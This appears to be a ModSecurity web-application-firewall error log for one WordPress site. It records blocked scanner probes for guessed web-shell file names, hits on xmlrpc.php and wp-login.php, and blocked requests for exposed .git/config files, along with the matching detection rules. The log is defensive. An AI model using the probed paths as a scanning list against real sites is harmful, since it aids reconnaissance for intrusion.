[Tue Nov 25 20:49:12.086015 2025] [:error] [pid 28739:tid 28779] [client 134.149.17.123:45767] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ha.php"] [unique_id "aSWlyBxGpKmlkG4FexSREgAAAhE"]
[Tue Nov 25 20:49:12.597942 2025] [:error] [pid 28739:tid 28781] [client 134.149.17.123:45865] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ha.php"] [unique_id "aSWlyBxGpKmlkG4FexSRGgAAAhM"]
[Tue Nov 25 20:49:13.101069 2025] [:error] [pid 14076:tid 14095] [client 134.149.17.123:45714] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ha.php"] [unique_id "aSWlyXsB4Gz6Qw-pvBssrgAAAA4"]
[Tue Nov 25 20:49:13.601546 2025] [:error] [pid 28739:tid 28762] [client 134.149.17.123:45709] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ha.php"] [unique_id "aSWlyRxGpKmlkG4FexSRLwAAAgA"]
[Tue Nov 25 20:49:14.103190 2025] [:error] [pid 14076:tid 14102] [client 134.149.17.123:45699] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/waw.php"] [unique_id "aSWlynsB4Gz6Qw-pvBsssAAAABU"]
[Tue Nov 25 20:49:14.608873 2025] [:error] [pid 14077:tid 14123] [client 134.149.17.123:45638] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/waw.php"] [unique_id "aSWlyhG9n7UHEkwDTyi5CgAAAE0"]
[Tue Nov 25 20:49:15.113896 2025] [:error] [pid 14077:tid 14133] [client 134.149.17.123:45755] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/waw.php"] [unique_id "aSWlyxG9n7UHEkwDTyi5DgAAAFc"]
[Tue Nov 25 20:49:15.615429 2025] [:error] [pid 28836:tid 28968] [client 134.149.17.123:45867] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/waw.php"] [unique_id "aSWly5wNRsoxcLQGkTfYpwAAAs0"]
[Tue Nov 25 20:49:16.116524 2025] [:error] [pid 2987:tid 3013] [client 134.149.17.123:45821] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gg.php"] [unique_id "aSWlzM-djEt-pTzPxny6VQAAAVg"]
[Tue Nov 25 20:49:16.620367 2025] [:error] [pid 2987:tid 3002] [client 134.149.17.123:45698] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gg.php"] [unique_id "aSWlzM-djEt-pTzPxny6WAAAAU0"]
[Tue Nov 25 20:49:17.137560 2025] [:error] [pid 28836:tid 28960] [client 134.149.17.123:45742] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gg.php"] [unique_id "aSWlzZwNRsoxcLQGkTfYqQAAAsU"]
[Tue Nov 25 20:49:17.649672 2025] [:error] [pid 14078:tid 14156] [client 134.149.17.123:45770] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gg.php"] [unique_id "aSWlzdVXYbb0ii_rVoJfyAAAAJM"]
[Tue Nov 25 20:49:18.174637 2025] [:error] [pid 28609:tid 28623] [client 134.149.17.123:45774] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we2.php"] [unique_id "aSWlziGGdT-nZJVs3x3ZkwAAAYU"]
[Tue Nov 25 20:49:18.677088 2025] [:error] [pid 2987:tid 3011] [client 134.149.17.123:45796] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we2.php"] [unique_id "aSWlzs-djEt-pTzPxny6ZQAAAVY"]
[Tue Nov 25 20:49:19.179088 2025] [:error] [pid 28836:tid 29008] [client 134.149.17.123:45864] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we2.php"] [unique_id "aSWlz5wNRsoxcLQGkTfYqwAAAtI"]
[Tue Nov 25 20:49:19.693792 2025] [:error] [pid 28836:tid 28958] [client 134.149.17.123:45858] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we2.php"] [unique_id "aSWlz5wNRsoxcLQGkTfYrgAAAsM"]
[Tue Nov 25 20:49:20.205262 2025] [:error] [pid 28739:tid 28770] [client 134.149.17.123:45696] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/04.php"] [unique_id "aSWl0BxGpKmlkG4FexSRPQAAAgg"]
[Tue Nov 25 20:49:20.719450 2025] [:error] [pid 14168:tid 14185] [client 134.149.17.123:45736] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/04.php"] [unique_id "aSWl0PR-ZDU0QEgAIIt83wAAAM4"]
[Tue Nov 25 20:49:21.260830 2025] [:error] [pid 2987:tid 2995] [client 134.149.17.123:45803] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/04.php"] [unique_id "aSWl0c-djEt-pTzPxny6awAAAUY"]
[Tue Nov 25 20:49:21.793623 2025] [:error] [pid 14078:tid 14157] [client 134.149.17.123:45727] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/04.php"] [unique_id "aSWl0dVXYbb0ii_rVoJf0gAAAJQ"]
[Tue Nov 25 20:49:22.319505 2025] [:error] [pid 14078:tid 14155] [client 134.149.17.123:45820] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/333.php"] [unique_id "aSWl0tVXYbb0ii_rVoJf1gAAAJI"]
[Tue Nov 25 20:49:22.937202 2025] [:error] [pid 2987:tid 2990] [client 134.149.17.123:45871] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/333.php"] [unique_id "aSWl0s-djEt-pTzPxny6bgAAAUE"]
[Tue Nov 25 20:49:23.520927 2025] [:error] [pid 43981:tid 43995] [client 134.149.17.123:45814] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/333.php"] [unique_id "aSWl0wgZn97m_qh_RaFWzQAAAww"]
[Tue Nov 25 20:49:24.028990 2025] [:error] [pid 28609:tid 28624] [client 134.149.17.123:45751] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/333.php"] [unique_id "aSWl1CGGdT-nZJVs3x3ZnAAAAYY"]
[Tue Nov 25 20:49:24.543622 2025] [:error] [pid 28739:tid 28777] [client 134.149.17.123:45738] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/520.php"] [unique_id "aSWl1BxGpKmlkG4FexSRRgAAAg8"]
[Tue Nov 25 20:49:25.116677 2025] [:error] [pid 43843:tid 43852] [client 134.149.17.123:45634] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/520.php"] [unique_id "aSWl1Rhx4v3NUNdMKDPm4QAAAcc"]
[Tue Nov 25 20:49:25.631258 2025] [:error] [pid 14077:tid 14115] [client 134.149.17.123:45778] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/520.php"] [unique_id "aSWl1RG9n7UHEkwDTyi5IwAAAEU"]
[Tue Nov 25 20:49:26.137219 2025] [:error] [pid 28739:tid 28776] [client 134.149.17.123:45786] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/520.php"] [unique_id "aSWl1hxGpKmlkG4FexSRSAAAAg4"]
[Tue Nov 25 20:49:26.697566 2025] [:error] [pid 43981:tid 43997] [client 134.149.17.123:45703] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Okxob.php"] [unique_id "aSWl1ggZn97m_qh_RaFW0wAAAw4"]
[Tue Nov 25 20:49:27.212689 2025] [:error] [pid 28836:tid 28965] [client 134.149.17.123:45781] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Okxob.php"] [unique_id "aSWl15wNRsoxcLQGkTfYvgAAAso"]
[Tue Nov 25 20:49:27.742503 2025] [:error] [pid 14076:tid 14082] [client 134.149.17.123:45791] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Okxob.php"] [unique_id "aSWl13sB4Gz6Qw-pvBss8wAAAAE"]
[Tue Nov 25 20:49:28.248121 2025] [:error] [pid 28836:tid 29012] [client 134.149.17.123:45746] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Okxob.php"] [unique_id "aSWl2JwNRsoxcLQGkTfYwgAAAtY"]
[Tue Nov 25 20:49:28.765491 2025] [:error] [pid 28836:tid 28960] [client 134.149.17.123:45740] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lts.php"] [unique_id "aSWl2JwNRsoxcLQGkTfYxQAAAsU"]
[Tue Nov 25 20:49:29.276021 2025] [:error] [pid 28609:tid 28630] [client 134.149.17.123:45664] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lts.php"] [unique_id "aSWl2SGGdT-nZJVs3x3ZsAAAAYw"]
[Tue Nov 25 20:49:29.799297 2025] [:error] [pid 28739:tid 28766] [client 134.149.17.123:45697] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lts.php"] [unique_id "aSWl2RxGpKmlkG4FexSRUQAAAgQ"]
[Tue Nov 25 20:49:30.316671 2025] [:error] [pid 14076:tid 14086] [client 134.149.17.123:45745] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lts.php"] [unique_id "aSWl2nsB4Gz6Qw-pvBss-AAAAAU"]
[Tue Nov 25 20:49:30.853721 2025] [:error] [pid 14076:tid 14081] [client 134.149.17.123:45747] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x.php"] [unique_id "aSWl2nsB4Gz6Qw-pvBss_QAAAAA"]
[Tue Nov 25 20:49:31.354410 2025] [:error] [pid 28739:tid 28774] [client 134.149.17.123:45842] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x.php"] [unique_id "aSWl2xxGpKmlkG4FexSRUwAAAgw"]
[Tue Nov 25 20:49:31.889862 2025] [:error] [pid 2987:tid 3005] [client 134.149.17.123:45671] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x.php"] [unique_id "aSWl28-djEt-pTzPxny6ewAAAVA"]
[Tue Nov 25 20:49:32.421862 2025] [:error] [pid 2987:tid 3010] [client 134.149.17.123:45651] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x.php"] [unique_id "aSWl3M-djEt-pTzPxny6fwAAAVU"]
[Tue Nov 25 20:49:32.992072 2025] [:error] [pid 28836:tid 29014] [client 134.149.17.123:45718] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xx.php"] [unique_id "aSWl3JwNRsoxcLQGkTfYzgAAAtg"]
[Tue Nov 25 20:49:33.514721 2025] [:error] [pid 43843:tid 43858] [client 134.149.17.123:45641] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xx.php"] [unique_id "aSWl3Rhx4v3NUNdMKDPm6QAAAc0"]
[Tue Nov 25 20:49:34.059498 2025] [:error] [pid 14168:tid 14181] [client 134.149.17.123:45804] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xx.php"] [unique_id "aSWl3vR-ZDU0QEgAIIt8_gAAAMo"]
[Tue Nov 25 20:49:34.584386 2025] [:error] [pid 2987:tid 2996] [client 134.149.17.123:45683] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xx.php"] [unique_id "aSWl3s-djEt-pTzPxny6hAAAAUc"]
[Tue Nov 25 20:55:16.914128 2025] [:error] [pid 28609:tid 28641] [client 185.215.180.158:34178] [client 185.215.180.158] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.215.180.158, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSWnNCGGdT-nZJVs3x3bdwAAAZc"]
[Tue Nov 25 21:18:12.815035 2025] [:error] [pid 28739:tid 28774] [client 3.222.221.187:60848] [client 3.222.221.187] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 3.222.221.187, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSWslBxGpKmlkG4FexSdHAAAAgw"]
[Tue Nov 25 21:18:15.350733 2025] [:error] [pid 14077:tid 14121] [client 3.222.221.187:36170] [client 3.222.221.187] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 3.222.221.187, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSWslxG9n7UHEkwDTyjB1AAAAEs"]
[Tue Nov 25 22:02:35.097864 2025] [:error] [pid 43981:tid 43984] [client 88.99.148.122:47298] [client 88.99.148.122] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 88.99.148.122, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSW2-wgZn97m_qh_RaFv4QAAAwE"]
[Tue Nov 25 22:41:47.708259 2025] [:error] [pid 14076:tid 14092] [client 2.57.122.225:34162] [client 2.57.122.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/new/.git/config"] [unique_id "aSXAK3sB4Gz6Qw-pvBtXYQAAAAs"]
[Tue Nov 25 22:41:47.708259 2025] [:error] [pid 14076:tid 14095] [client 2.57.122.225:34194] [client 2.57.122.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wordpress/.git/config"] [unique_id "aSXAK3sB4Gz6Qw-pvBtXYgAAAA4"]
[Tue Nov 25 22:41:47.709180 2025] [:error] [pid 14076:tid 14086] [client 2.57.122.225:34130] [client 2.57.122.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/api/.git/config"] [unique_id "aSXAK3sB4Gz6Qw-pvBtXYwAAAAU"]
[Tue Nov 25 22:41:47.709454 2025] [:error] [pid 14076:tid 14096] [client 2.57.122.225:34202] [client 2.57.122.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/debug/.git/config"] [unique_id "aSXAK3sB4Gz6Qw-pvBtXZAAAAA8"]
[Tue Nov 25 22:41:47.710233 2025] [:error] [pid 43981:tid 43984] [client 2.57.122.225:34204] [client 2.57.122.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/frontend/.git/config"] [unique_id "aSXAKwgZn97m_qh_RaF50gAAAwE"]
[Tue Nov 25 22:41:47.711042 2025] [:error] [pid 43843:tid 43863] [client 2.57.122.225:34210] [client 2.57.122.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/assets/.git/config"] [unique_id "aSXAKxhx4v3NUNdMKDMFMQAAAdI"]
[Tue Nov 25 22:41:47.711818 2025] [:error] [pid 14076:tid 14099] [client 2.57.122.225:34224] [client 2.57.122.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/dist/.git/config"] [unique_id "aSXAK3sB4Gz6Qw-pvBtXZQAAABI"]
[Tue Nov 25 22:41:47.712465 2025] [:error] [pid 14076:tid 14101] [client 2.57.122.225:34268] [client 2.57.122.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/administrator/.git/config"] [unique_id "aSXAK3sB4Gz6Qw-pvBtXZgAAABQ"]
[Tue Nov 25 22:41:47.713877 2025] [:error] [pid 14168:tid 14187] [client 2.57.122.225:34276] [client 2.57.122.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/main/.git/config"] [unique_id "aSXAK_R-ZDU0QEgAIIud9wAAANA"]
